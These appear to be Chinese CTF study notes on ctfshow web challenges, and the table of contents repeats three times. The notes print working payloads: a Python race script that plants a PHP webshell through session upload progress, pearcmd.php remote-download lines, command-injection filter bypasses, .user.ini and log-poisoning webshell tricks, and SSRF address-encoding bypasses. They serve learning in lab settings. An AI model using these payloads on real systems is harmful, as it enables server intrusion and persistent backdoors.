文章目录
- 01做题思路
- 02信息泄露及利用
- robots.txt
- .git文件泄露
- dirsearch
- ctfshow做题记录
- 信息搜集
- web1
- web2
- web3
- web4
- web5
- web6
- web7
- web8
- SVN泄露与 Git泄露的区别
- web9
- web10
- php的基础概念
- php的基础语法
- 1. PHP 基本语法结构
- 2. PHP 变量
- 3.输出数据
- 4.数组
- 5.超全局变量
- 6.文件操作
- php的命令执行
- 可以执行命令的函数
- 命令执行绕过
- 利用代码中命令(如ls)执行命令
- 替换过滤
- 过滤特定字符串
- 神技:利用base64编码解码的绕过
- 拼接绕过过滤
- 符号过滤绕过
- 文件包含基础概念
- php伪协议
- 什么是协议
- 协议的格式
- php中的协议
- file协议
- http协议
- ftp协议
- php://input协议
- php://filter协议
- php://data协议
- php文件上传机制
- 高级文件包含
- nginx文件日志包含
- 临时文件包含
- session文件包含
- pear文件包含
- 远程文件包含
- 命令执行知识基础
- ctfshow命令执行实战
- 绕过关键字
- web29
- web30
- web31
- web32
- 关键词过滤的绕过技巧
- 禁用leval1
- 禁用leval2
- 禁用leval3
- 使用文件包含php://input协议
- 使用data协议绕过
- 使用php://filter协议
- 文件上传机制
- 文件上传脚本
- 文件上传绕过
- php后缀替换为空
- web服务器的解析漏洞绕过
- nginx
- iis
- apache
- 高级文件上传
- nginx自定义配置文件(默认三分钟刷新一次)
- 服务端内容检测
- 结合伪协议使用
- 配合日志包含
- 只允许图片上传
- 上传实战训练
- SSRF基础知识
- SSRF的利用面
- SSRF的绕过
- alpharnumneric数字绕过
- 使用ip地址转换
- 特殊语法绕过
- 如果对方可以接受302跳转,并且跟进302跳转
- 利用短网址绕过
- sql注入基础概念
- 什么是sql
- 什么是数据库?
- 关系型数据库(RDBMS)
- 非关系型数据库(NoSQL)
- 区别
- sql环境
- PHP反序列化基础知识
- 魔术方法:在序列化和反序列化过程中自动调用的方法
- 什么是 `__destruct()` 方法?
- 何时触发 `__destruct()` 方法?
- 用途:
- 语法示例:
- 反序列化漏洞利用
- 前提条件
- 一些绕过策略
- 绕过__wakeup函数
- 绕过正则匹配
- 绕过相等逻辑判断
- 利用大S的ascll码绕过
- 反序列化字符逃逸
- 高级反序列化
- phar反序列化
- 什么是 PHAR 文件?
- 特点
- session反序列化
- 函数特性
- 匹配数组报错
- 进制转换绕过
- 正则表达式匹配换行
- 绝对路径绕过
- 弱类型语言隐式转换
- 核心概念
- 转换规则
- 运算符优先级
- sql注入知识学习
- 注释的两种形式
- 字符型注入
- 万能密码
- 布尔盲注
- 报错注入
- 堆叠注入
- 时间盲注
- 二次注入
- 小技巧
- 基础知识
- SSTI
- 利用条件
- 验证SSTI是否存在
- 验证console码
- SSTI类引用机制
- 过滤的绕过
- .被过滤
- 下划线被过滤
- 中括号被过滤
- 过滤了{{
- 过滤了单引号或者双引号
- 过滤了数字
- 关键字被过滤
- 基础知识
- 标记替换数据
- 原型污染
- Java部分
- 基础知识
- JAVA序列化与反序列化
- URLDNS链
01做题思路
- 判断做题的思路是读取,写入,还是执行
- 判断大概的类型,有登录逻辑就尝试sql注入,有下载逻辑就尝试文件读取,有源码就做源码审计
02信息泄露及利用
robots.txt
以ctfshow的web1为例,访问robots拿到敏感路径,进而进入后台
.git文件泄露
版本控制系统的作用:方便开发时版本的更新与多人协作,如git控制版本,会记录每一次更改的内容,可以借此漏洞收集到文件源码
- 工具
githack
https://github.com/lijiejie/GitHack
用法 python GitHack.py url
以ctfshow web7为例,访问.git拿到flag
dirsearch
在看wp的时候见到一个扫描工具dirsearch,简单用法如下
扫描网站目录
python dirsearch.py -u https://target
这行代码运行 dirsearch 工具,扫描目标网站 https://target,
寻找扩展名为 .php、.html 和 .js 的文件或目录。
python dirsearch.py -e php,html,js -u https://target
在扫描过程中,dirsearch 会尝试将字典文件中的每个条目附加到目标 URL 上,
以查找是否存在这些路径或文件。
python dirsearch.py -e php,html,js -u https://target -w /path/to/wordlist
ctfshow做题记录
信息搜集
web1
f12拿到flag
web2
JavaScript 前台拦截 : 通常指的是在客户端(即浏览器)通过 JavaScript 代码对用户的请求或输入进行控制和限制。通常这种拦截行为会在用户提交表单、发送请求或进行一些交互操作时发生,开发者可能会利用 JavaScript 实现数据验证、请求拦截、重定向或信息提示等功能。
- f12之后突然不知道提示有什么意义,看题解也是五花八门
web3
bp抓包,从返回内容中找到flag
在这里记录一次修改,8080端口被占用,于是寻找解决方案,查出8080端口是系统进程,不敢随便停止,后来发现只要浏览器代理的端口与bp设置监听的端口一致即可正常抓包,即一个控制从哪出,一个选择从哪等
web4
提示的很清楚了,访问robots.txt,拿到提示后找到flag
web5
phps源码泄露,phps是用来显示php代码的高亮版本,而不是像php一样的执行版本 ,访问index.phps,拿到flag
web6
这道题没啥思路,于是用到刚刚提到的工具dirsearch,扫一下发现存在www
.zip源码泄露,访问下载解压得到flag
web7
git泄露,直接访问.git即可
web8
- svn泄露
SVN泄露与 Git泄露的区别
-
版本控制方式不同:
- SVN 是集中式版本控制系统,所有的版本信息存储在服务器端,客户端获取的是最新的文件和历史记录。泄露
.svn
目录时,攻击者只能获取到服务器上提交的文件历史记录。 - Git 是分布式版本控制系统,每个开发者都有完整的本地仓库,包含所有提交记录。如果 Git 仓库泄露,攻击者可以获取本地所有的提交记录、文件以及历史数据。
- SVN 是集中式版本控制系统,所有的版本信息存储在服务器端,客户端获取的是最新的文件和历史记录。泄露
-
泄露数据的范围:
- SVN 的泄露通常是针对某个仓库的历史记录。它的访问一般是集中在仓库所在的服务器上,仓库的元数据和配置文件会在
.svn
目录中泄露。 - Git 的泄露影响范围更广,因为每个开发者本地的仓库都包含完整的版本历史和提交记录。如果一个开发者的本地仓库被泄露,攻击者可以得到所有的历史记录和文件。
- SVN 的泄露通常是针对某个仓库的历史记录。它的访问一般是集中在仓库所在的服务器上,仓库的元数据和配置文件会在
-
泄露的方式:
- SVN 的
.svn
目录可以通过 Web 服务器等方式直接暴露在公网,如果没有配置好访问控制(如.htaccess
),攻击者可以直接访问。 - Git 的仓库泄露通常是由于错误地将
.git
目录上传到公共代码托管平台(如 GitHub、GitLab 等),或者开发者不小心暴露了完整的 Git 仓库。
- SVN 的
-
工具和处理方式:
- SVN 通常使用
svnadmin
、svnserve
等工具来管理和保护仓库,但.svn
目录的暴露仍然是个问题。 - Git 在处理泄露时,可以通过
git filter-branch
等工具清除历史记录中的敏感信息,并且 Git 提供了gitignore
和git hook
等方法来避免将敏感数据上传到远程仓库。
- SVN 通常使用
- .svn泄露 是指 SVN 的
.svn
目录被暴露,导致敏感信息泄露,通常发生在仓库没有正确配置访问控制时。 - Git泄露 则是指 Git 仓库(通常是
.git
目录)被公开或错误上传,攻击者能够访问完整的历史记录、提交和文件内容。 - 两者的核心区别在于 版本控制方式:SVN 是集中式,Git 是分布式,Git 泄露的影响范围更大,因为开发者本地也有完整的仓库。
web9
vim编辑器使用时会有一个缓存文件,这个缓存文件在保存时进行删除,但是在vim意外退出时这个缓存文件,会以源文件加一个.swp后缀进行保存,我们可以尝试访问这些文件来尝试获取一些文件。
- 访问\index.php.vim
web10
根据提示,在应用里找到cookie
php的基础概念
- php的代码执行:不同于python rsa.py的形式,php的代码执行为http://baidu.com/index.php,浏览器会自行处理php代码并返回结果
- 所需环境:phpstudy
- GET包的特点,所有参数都在url里,而POST包将数据单独放到一个表单里
php的基础语法
- 文件与变量之间用?分隔
- 变量与变量之间用&分隔
1. PHP 基本语法结构
PHP 代码通常嵌入到 HTML 中,PHP 语句用 <?php ... ?>
标签包裹。
<?php
// 这里是 PHP 代码
echo "Hello, World!";
?>
2. PHP 变量
PHP 变量以 $
符号开头,后面跟上变量名。PHP 变量不需要显式声明类型,可以自动根据值类型推断。
<?php
$name = "John"; // 字符串类型
$age = 25; // 整型
$is_active = true; // 布尔类型
$pi = 3.14159; // 浮点型
?>
3.输出数据
PHP 使用 echo 或 print 来输出数据:
<?php
echo "Hello, World!"; // 输出字符串
print "PHP is fun!";
?>
4.数组
- 索引数组
<?php
$fruits = array("apple", "banana", "cherry");
echo $fruits[0]; // 输出 apple
?>
- 键值对数组
<?php
$person = array("name" => "John", "age" => 25);
echo $person["name"]; // 输出 John
?>
5.超全局变量
- $_GET:用于获取 URL 查询字符串中的数据。
<?php
echo $_GET['name']; // 获取 URL 中 name 参数的值
?>
- $_POST:用于获取表单提交的数据。
<?php
echo $_POST['email']; // 获取表单中 email 字段的值
?>
6.文件操作
读取文件
<?php
$content = file_get_contents("file.txt");
echo $content;
?>
写入文件
<?php
file_put_contents("file.txt", "Hello, World!");
?>
php的命令执行
可以执行命令的函数
命令执行绕过
一般默认命令执行是在linux服务器上执行
利用代码中命令(如ls)执行命令
;两条命令分别执行
eg:dir=;cat \flag
&&前一条命令执行成功了才会执行下一条命令,注意在输入参数时一定要进行url编码,如果不进行编码它会当作多个参数的分隔符
|| 两条命令只要一条成功即结束 ,即第一条成功就不会执行下一条(如果不给回显,可以利用这个特点将不给回显的代码短路)
替换过滤
比如将关键字cat替换为空
- 绕过策略:双写绕过:ccatat,替换后得到cat
过滤特定字符串
比如flag
- 利用通配符 ∗ * ∗, ∗ * ∗ 代表任意长度字符串
- 利用占位符?,?表示一个字符
神技:利用base64编码解码的绕过
在Linux环境中,比如输入cat ‘echo ‘love’’,会先执行单引号中的内容,使其成为cat love,那么利用这一点,我们就可以先将cat love进行base64编码,假设结果是x,接下来执行‘echo ‘x’|base64 -d’,从而绕过关键词过滤,同样的道理,可以使用其他类型的编码解码进行绕过
拼接绕过过滤
a=c;b=at;c=fla;d=g.php;$a$b {c}{d}
即可执行cat flag.php的命令
符号过滤绕过
有了以上几种方法,关键字过滤其实没啥用,那么如果空格被禁用呢?
- PHP 符号过滤空格绕过,在 PHP 中,可以通过以下几种方法绕过空格过滤:
- 使用
chr()
函数
chr(32)
可以表示空格字符,因此可以用chr(32)
代替空格。
示例:
$a . chr(32) . $b;
- 使用 HTML 实体
$a . ' ' . $b;
$a . ' ' . $b;
- 使用数组合并
implode('', array($a, ' ', $b));
- 使用字符串的转义
$a . '\x20' . $b;
- 读文件时可以用<>代替空格
- 使用${IFS}可以代替空格(利用IFS变量存储空格)
- %09 %0b %0c 代替绕过(可以用payload爆破了试试看,注意url编码两位一编,所以需要设置两位有效位)
- 利用字符串截取绕过空格(利用已有的环境变量 env)
文章目录
- 01做题思路
- 02信息泄露及利用
- robots.txt
- .git文件泄露
- dirsearch
- ctfshow做题记录
- 信息搜集
- web1
- web2
- web3
- web4
- web5
- web6
- web7
- web8
- SVN泄露与 Git泄露的区别
- web9
- web10
- php的基础概念
- php的基础语法
- 1. PHP 基本语法结构
- 2. PHP 变量
- 3.输出数据
- 4.数组
- 5.超全局变量
- 6.文件操作
- php的命令执行
- 可以执行命令的函数
- 命令执行绕过
- 利用代码中命令(如ls)执行命令
- 替换过滤
- 过滤特定字符串
- 神技:利用base64编码解码的绕过
- 拼接绕过过滤
- 符号过滤绕过
- 文件包含基础概念
- php伪协议
- 什么是协议
- 协议的格式
- php中的协议
- file协议
- http协议
- ftp协议
- php://input协议
- php://filter协议
- php://data协议
- php文件上传机制
- 高级文件包含
- nginx文件日志包含
- 临时文件包含
- session文件包含
- pear文件包含
- 远程文件包含
- 命令执行知识基础
- ctfshow命令执行实战
- 绕过关键字
- web29
- web30
- web31
- web32
- 关键词过滤的绕过技巧
- 禁用leval1
- 禁用leval2
- 禁用leval3
- 使用文件包含php://input协议
- 使用data协议绕过
- 使用php://filter协议
- 文件上传机制
- 文件上传脚本
- 文件上传绕过
- php后缀替换为空
- web服务器的解析漏洞绕过
- nginx
- iis
- apache
- 高级文件上传
- nginx自定义配置文件(默认三分钟刷新一次)
- 服务端内容检测
- 结合伪协议使用
- 配合日志包含
- 只允许图片上传
- 上传实战训练
- SSRF基础知识
- SSRF的利用面
- SSRF的绕过
- alpharnumneric数字绕过
- 使用ip地址转换
- 特殊语法绕过
- 如果对方可以接受302跳转,并且跟进302跳转
- 利用短网址绕过
- sql注入基础概念
- 什么是sql
- 什么是数据库?
- 关系型数据库(RDBMS)
- 非关系型数据库(NoSQL)
- 区别
- sql环境
- PHP反序列化基础知识
- 魔术方法:在序列化和反序列化过程中自动调用的方法
- 什么是 `__destruct()` 方法?
- 何时触发 `__destruct()` 方法?
- 用途:
- 语法示例:
- 反序列化漏洞利用
- 前提条件
- 一些绕过策略
- 绕过__wakeup函数
- 绕过正则匹配
- 绕过相等逻辑判断
- 利用大S的ascll码绕过
- 反序列化字符逃逸
- 高级反序列化
- phar反序列化
- 什么是 PHAR 文件?
- 特点
- session反序列化
- 函数特性
- 匹配数组报错
- 进制转换绕过
- 正则表达式匹配换行
- 绝对路径绕过
- 弱类型语言隐式转换
- 核心概念
- 转换规则
- 运算符优先级
- sql注入知识学习
- 注释的两种形式
- 字符型注入
- 万能密码
- 布尔盲注
- 报错注入
- 堆叠注入
- 时间盲注
- 二次注入
- 小技巧
- 基础知识
- SSTI
- 利用条件
- 验证SSTI是否存在
- 验证console码
- SSTI类引用机制
- 过滤的绕过
- .被过滤
- 下划线被过滤
- 中括号被过滤
- 过滤了{{
- 过滤了单引号或者双引号
- 过滤了数字
- 关键字被过滤
- 基础知识
- 标记替换数据
- 原型污染
- Java部分
- 基础知识
- JAVA序列化与反序列化
- URLDNS链
文件包含基础概念
文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码
文件包含最基础的作用,就是读取非php类型的文件
php常见的文件包含语言结构
- include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行
- require:包含必须成功,失败则会报错
- require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。
- include_once:类似require_once
php伪协议
伪协议即只能在php里面用,在其他地方用不了
什么是协议
协议的格式
协议头://内容
php中的协议
file协议
-
相对路径和绝对路径
-
. . / ../ ../:上层目录
- 上层目录的特点
- 每个目录都有上层目录
- 根目录的上层目录是根目录
- php的文件整理特性:www/html/…/==www/
http协议
- file_get_contens()函数,给定url地址,通过http协议可以将内容读取
- include ‘http://’同样可以包含远程地址
ftp协议
默认21端口,进行文件传输
php://input协议
在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容
php://filter协议
通过协议自带的编码解码绕过
file=php://filter/write=convert.base64-decode/resource=1.php
将解码后的内容写入1.php文件
同样可以用write=string.rot13绕过死亡代码
php://data协议
到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例
data://,<?php phpinfo(); ?>
php文件上传机制
可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]
高级文件包含
nginx文件日志包含
nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器
- 日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码
日志文件默认路径
\var\log\nginx\access.log
注意代码一定不要写错,否则报错了就只能重置环境
临时文件包含
注意不能用通配符
- 上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含
- php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi
session文件包含
session:根据cookie管理临时文件
- 如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果
import requests
import threading
session=requests.session()
sess='ctfshow'
file_name='/var/www/html/1.php'
file_contents='<?php eval($_POST[1];?>)'
url='http'
data={
'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>"
}
file={
'file':'ctfshow'
}
cookies={
'PHPSESSID':'ctfshow'
}
def write():
while True:
r=session.post(url=url,data=data,files=file,cookies=cookies)
def read():
while True:
r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow')
if 'success' in r.text:
print('shell地址为:'+url+'/1.php')
exit()
pear文件包含
使用条件
- 有文件包含点
- 开启了pear扩展
- 配置中register_argc_argv设置为on,而默认为off
利用方式1:利用扩展远程下载一句话木马
url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/www/html(本地地址)+url(远程下载地址)
利用方式2:生成配置文件,在配置项中含恶意代码
url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
远程文件包含
类似远程文件下载,必要时可用域名转数字
文章目录
- 01做题思路
- 02信息泄露及利用
- robots.txt
- .git文件泄露
- dirsearch
- ctfshow做题记录
- 信息搜集
- web1
- web2
- web3
- web4
- web5
- web6
- web7
- web8
- SVN泄露与 Git泄露的区别
- web9
- web10
- php的基础概念
- php的基础语法
- 1. PHP 基本语法结构
- 2. PHP 变量
- 3.输出数据
- 4.数组
- 5.超全局变量
- 6.文件操作
- php的命令执行
- 可以执行命令的函数
- 命令执行绕过
- 利用代码中命令(如ls)执行命令
- 替换过滤
- 过滤特定字符串
- 神技:利用base64编码解码的绕过
- 拼接绕过过滤
- 符号过滤绕过
- 文件包含基础概念
- php伪协议
- 什么是协议
- 协议的格式
- php中的协议
- file协议
- http协议
- ftp协议
- php://input协议
- php://filter协议
- php://data协议
- php文件上传机制
- 高级文件包含
- nginx文件日志包含
- 临时文件包含
- session文件包含
- pear文件包含
- 远程文件包含
- 命令执行知识基础
- ctfshow命令执行实战
- 绕过关键字
- web29
- web30
- web31
- web32
- 关键词过滤的绕过技巧
- 禁用leval1
- 禁用leval2
- 禁用leval3
- 使用文件包含php://input协议
- 使用data协议绕过
- 使用php://filter协议
- 文件上传机制
- 文件上传脚本
- 文件上传绕过
- php后缀替换为空
- web服务器的解析漏洞绕过
- nginx
- iis
- apache
- 高级文件上传
- nginx自定义配置文件(默认三分钟刷新一次)
- 服务端内容检测
- 结合伪协议使用
- 配合日志包含
- 只允许图片上传
- 上传实战训练
- SSRF基础知识
- SSRF的利用面
- SSRF的绕过
- alpharnumneric数字绕过
- 使用ip地址转换
- 特殊语法绕过
- 如果对方可以接受302跳转,并且跟进302跳转
- 利用短网址绕过
- sql注入基础概念
- 什么是sql
- 什么是数据库?
- 关系型数据库(RDBMS)
- 非关系型数据库(NoSQL)
- 区别
- sql环境
- PHP反序列化基础知识
- 魔术方法:在序列化和反序列化过程中自动调用的方法
- 什么是 `__destruct()` 方法?
- 何时触发 `__destruct()` 方法?
- 用途:
- 语法示例:
- 反序列化漏洞利用
- 前提条件
- 一些绕过策略
- 绕过__wakeup函数
- 绕过正则匹配
- 绕过相等逻辑判断
- 利用大S的ascll码绕过
- 反序列化字符逃逸
- 高级反序列化
- phar反序列化
- 什么是 PHAR 文件?
- 特点
- session反序列化
- 函数特性
- 匹配数组报错
- 进制转换绕过
- 正则表达式匹配换行
- 绝对路径绕过
- 弱类型语言隐式转换
- 核心概念
- 转换规则
- 运算符优先级
- sql注入知识学习
- 注释的两种形式
- 字符型注入
- 万能密码
- 布尔盲注
- 报错注入
- 堆叠注入
- 时间盲注
- 二次注入
- 小技巧
- 基础知识
- SSTI
- 利用条件
- 验证SSTI是否存在
- 验证console码
- SSTI类引用机制
- 过滤的绕过
- .被过滤
- 下划线被过滤
- 中括号被过滤
- 过滤了{{
- 过滤了单引号或者双引号
- 过滤了数字
- 关键字被过滤
- 基础知识
- 标记替换数据
- 原型污染
- Java部分
- 基础知识
- JAVA序列化与反序列化
- URLDNS链
命令执行知识基础
命令执行和代码执行的区别
前者执行操作系统命令 或者执行 脚本语言的代码
- 危险函数利用
- 过滤了黑名单 ,如果仅仅在代码中过滤了函数名称,那么大概率就等于 没过滤
无回显情况下的命令执行,需要通道(数据传输的路径)
比如shell_exec函数与system 相比,没有回显结果
- 写入文件、二次返回
- DNS信道
- http信道
- 反弹shell信道,公网IP
- 延时 sleep 1(类似密码学的侧信道攻击)
ctfshow命令执行实战
绕过关键字
web29
- 刚开始做这样的题,也是踩了不少坑啊,思路是使用通配符cat fla*,加到url地址后,结果不对,看wp才发现需要system才能执行系统命令,于是system(cat fla*),还是不行,再检查,发现php函数末尾需要;且system里的内容需要加上单引号或双引号,到这里就没有语法错误了,但是cat似乎被禁用了,需要用tac才能拿到flag,这里记录一下见到的其他几种解法
- echo+命令
- c=echo `tac fla*`;
- 原理:反引号内的命令会被优先执行
- 采取套接的形式传入命令
- c=eval($_GET[2]);&2=system(‘tac fla*’);
- 这里多加一个eval,让命令先传进来,再让外面的eval执行命令注意在每行可执行代码后加上;
- 采用cp命令将flag的值写到其他地方去
- c=system(‘cp fla*.php 1.txt’);
- 随后再去1.txt里查看flag
- 同理可以用其他命令达成相同的效果
web30
system也被禁用了,但是可以用其他函数替代,也可以用echo+··
- c=passthru(‘tac fla*’);
- c=echo
tac fla*
; - ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);(套接法绕过)
- c=$a=syst;$b=em;$d=$a.$b;$d(‘tac fla*’);(拼接法绕过)
web31
接着绕,基本都被过滤,剩下套接法,做的时候也是脑子抽筋了,少加个?在那怀疑这怀疑那的,不知道为什么用cat拿不到信息,每次都是用tac拿到的flag
- c=eval($_GET[a]);&a=system(‘cat fla*’);
- 看到另外一种解法,就是用题目的函数去拼接出字符(类似从环境变量中找空格)
- c=passthru(“tac${IFS}f*”);(终于见到${IFS}的实战运用了)
web32
这题更狠,连括号都禁了,让我一下子怀疑函数能不能用
看wp需要一些文件包含的内容,明儿再来接着斗智斗勇吧,整个小烧烤去
关键词过滤的绕过技巧
禁用leval1
system被禁用了,但是可以用其他函数替代,也可以用echo+··
- c=passthru(‘tac fla*’);
- c=echo
tac fla*
; - ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);(套接法绕过)
- c=$a=syst;$b=em;$d=$a.$b;$d(‘tac fla*’);(拼接法绕过)
禁用leval2
接着绕,基本都被过滤,剩下套接法,做的时候也是脑子抽筋了,少加个?在那怀疑这怀疑那的,不知道为什么用cat拿不到信息,每次都是用tac拿到的flag
- c=eval($_GET[a]);&a=system(‘cat fla*’);
- 看到另外一种思路,就是用题目的函数去拼接出字符(类似从环境变量中找空格)
- c=passthru(“tac${IFS}f*”);(终于见到${IFS}的实战运用了)
禁用leval3
使用文件包含php://input协议
需要用到文件包含来绕过:首先了解下php://input协议,它将post请求发的任何东西都原原本本返回,可执行php代码除外,利用这一点绕过
- 首先构造出include php://input
- 空格被禁用,测试发现可以用%09,%0a绕过,分号被禁用,可以用php的结束符?>绕过(结束符相当于自带分号)
- https://083c812a-6ad8-40a2-873a-c1ac380b2130.challenge.ctf.show/?c=include%09$_GET[1]?>&1=php://input
- 到这里文件包含就成功构造好了,接下来写入php可执行代码即可拿到flag
使用data协议绕过
上一道题其实单引号被禁了用双引号不就完了,但这道题禁用的更干净
我们当然可以使用php://input协议实现绕过拿flag,但是有没有别的方法呢?
有的老弟,这样强的协议还有八个
- https://96b2c240-a193-45d2-8bc9-6fe45ab9d084.challenge.ctf.show/?c=include%09$_GET[1]?>&1=data://,<?php system('tac fl*');?>
- data协议的用法比input协议更简单,在协议后加上,与php代码即可
使用php://filter协议
话都说到这了,怎么能不提提最灵活多变自带编码解码功能的php://filter协议呢
- php://filter/read=convert.base64-encode/resource=flag.php
- 选择read base64编码后的flag.php,如果不加编码,可能会被某种过滤而看不到结果
- 同样可以选择string.rot13编码,write方法
文件上传机制
文件上传本质上是对服务器端的一个写操作
向服务器端上传的php文件会被放到\tmp\php???临时文件夹下,在脚本执行完后,临时文件夹中的文件会被销毁
文件上传脚本
脚本为html文件
<form action="index.php" enctype="multipart/form-data" method="post">
<input name="file" type="file" />
<input type="submit" value="upload"/>
</form>
文件上传绕过
php后缀替换为空
- 采用双写绕过:pphphp
web服务器的解析漏洞绕过
nginx
基于错误的nginx和php=fpm配置,当我们访问\shell.txt\1.php时,如果1.php不存在,服务器端就会按照php去解析shell.txt。利用这个特性,可以先上传shell.txt,再访问一个不存在的php文件
iis
如果iis版本为6.0,目录的后缀是a.php,那么目录中的文件就会按照php解析去执行
apache
上传多后缀时,apache会从后向前解析,直到自己能解析的后缀,比如test.php.lally,会被解析成test.php
高级文件上传
nginx自定义配置文件(默认三分钟刷新一次)
.user.ini
在配置文件使用auto_apppend_file=1.txt使所有文件包含1.txt,执行里面的php代码
任意找一个php文件,利用1.txt里的一句话木马执行php代码即可
服务端内容检测
如果服务端进行eval,$_POST,php等关键词的检测,首先使用二分法(删除部分内容)确定黑名单,再结合.user.ini和绕过策略进行绕过,如base64编码,使用$_REQUEST,$_COOKIE等超全局变量进行绕过
结合伪协议使用
auto_prepend_file=php://input
这样就可以在首页的php文件里使用伪协议了
配合日志包含
- 日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码
日志文件默认路径
\var\log\nginx\access.log
注意代码一定不要写错,否则报错了就只能重置环境
只允许图片上传
通过XBM格式图片的特性绕过getimagesize函数检测
在配置文件中加入
#define hight100
#define width 100
就会把这个文件当成图片来处理,并且图片的高度和宽带为100,即完成了绕过,在语句后加入其他代码可正常执行
上传实战训练
显然只允许上传图片,用xmp的方法试一下,发现对后缀名有限制,必须是.png
那怎么办呢?看到提示,前台校验不可靠,意思就是说,在我们上传的时候,前端会做一个后缀名检测,如果是.png,才会发出数据包,在发出数据包后,将包拦截下来,后缀改回.php即可
成功绕过,接下来找flag即可
如果在后端加入了判断png后缀的逻辑,仅凭抓包更改后缀是绕不过去的,但是如果后端判断的逻辑不够严密(如采用黑名单只校验几个后缀),我们就可以把.user.ini这样的配置文件偷渡过去,在.user.ini里使用文件包含
抓包改后缀绕过前端检测
auto_prepend_file=1.png
配置文件中写入
在1.png中写入一句话木马,接着上传即可
我们继续看,如果后端的检测机制更厉害一点,能够检测到一句话木马中的一些关键词并过滤怎么办呢
先分析一下一句话木马
<?php eval($_POST[1]);?>
php是大概率被检测到的,可以换成短标记<?=或script标签
3和4需要php配置开启一些项,所以不一定能用
POST的替换策略在上文有详细说明
那么如果一句话木马在上传中被禁到用不了(比如把<禁用了),又该怎么办呢?答案是日志包含
\var\log\nginx\access.log
通过user-agent传入恶意代码并执行
SSRF基础知识
SSRF:即服务器端请求伪造,通过服务器的访问权限拿到一般权限拿不到的更多信息。
- 一句话总结:
控制服务端使用指定协议访问指定的url
内网探测端口是否开放的思路:向端口发请求,同时不附加数据,一般浏览器会等三十秒来等你发送数据给它,如果超过两秒还在等待,说明端口开放,如果直接给出访问失败,说明端口不开放。
SSRF的利用面
- 任意文件读取 前提是知道要读取的文件名
- 探测内网资源,127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问, 0.0.0.0 表示允许任意ip访问,192.168.233.233 只允许特定的IP地址访问
- 使用gopher协议扩展我们的攻击面
apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379 - 我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码设置php.ini中的运行参数,其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行,为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项
- php原生类进行SSRF,需要下载soap插件,$soap = new SoapClient($_GET[‘url’]);当访问这个类中不存在的方法时,就会调用call方法执行输入的网址,如果传入php代码,就会被执行
SSRF的绕过
alpharnumneric数字绕过
127.0.0.1
127.⓿.⓿.1
使用ip地址转换
利用在线网站将ip地址转换为十进制,十六进制等形式
127.0.0.1用不同进制可以表示为
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001
特殊语法绕过
- 在Windows下0代表0.0.0.0,linux下0代表127.0.0.1
- 双端可用127.1代表127.0.0.1
- Linux下可用中文。代替.
如果对方可以接受302跳转,并且跟进302跳转
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
利用短网址绕过
baidu.com 不允许出现baidu
或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
http://rurl.vip/eW7AU
sql注入基础概念
什么是sql
sql是一门语言,进行数据的增删改查
- CURD:create(增),update(改),read(查),delete(删除)
什么是数据库?
数据库是一个用于存储、管理和检索数据的系统,它将数据按照特定的结构进行组织,方便高效地访问。
关系型数据库(RDBMS)
- 定义:基于表格(行和列)组织数据,使用 SQL 语言进行查询。
- 特点:
- 数据以表格形式存储。
- 数据有固定的结构,使用预定义的模式(schema)。
- 支持事务和 ACID(原子性、一致性、隔离性、持久性)特性。
- 例子:MySQL, PostgreSQL, Oracle.
非关系型数据库(NoSQL)
- 定义:不依赖于传统的表格结构,适用于存储大规模数据,支持灵活的数据模型。
- 特点:
- 数据存储形式可以是键值对、文档、列族等。
- 可扩展性强,适用于分布式数据存储。
- 不一定支持 ACID 特性,但通常支持更高的可扩展性和灵活性。
- 例子:MongoDB, Redis, Cassandra.
区别
特性 | 关系型数据库 | 非关系型数据库 |
---|---|---|
数据结构 | 表格(行和列) | 键值对、文档、列族等 |
查询语言 | SQL | 通常使用特定的查询语言或 API |
事务支持 | 强(ACID) | 弱(最终一致性) |
可扩展性 | 水平扩展较难,垂直扩展较易 | 水平扩展较好,适合大规模分布式存储 |
示例 | MySQL, PostgreSQL, Oracle | MongoDB, Redis, Cassandra |
sql环境
在之前的学习中,我们已经下载了phpstudy,启动其中的MySQL,并下载一个软件叫Navicat,将其连接即可,默认端口3306连接
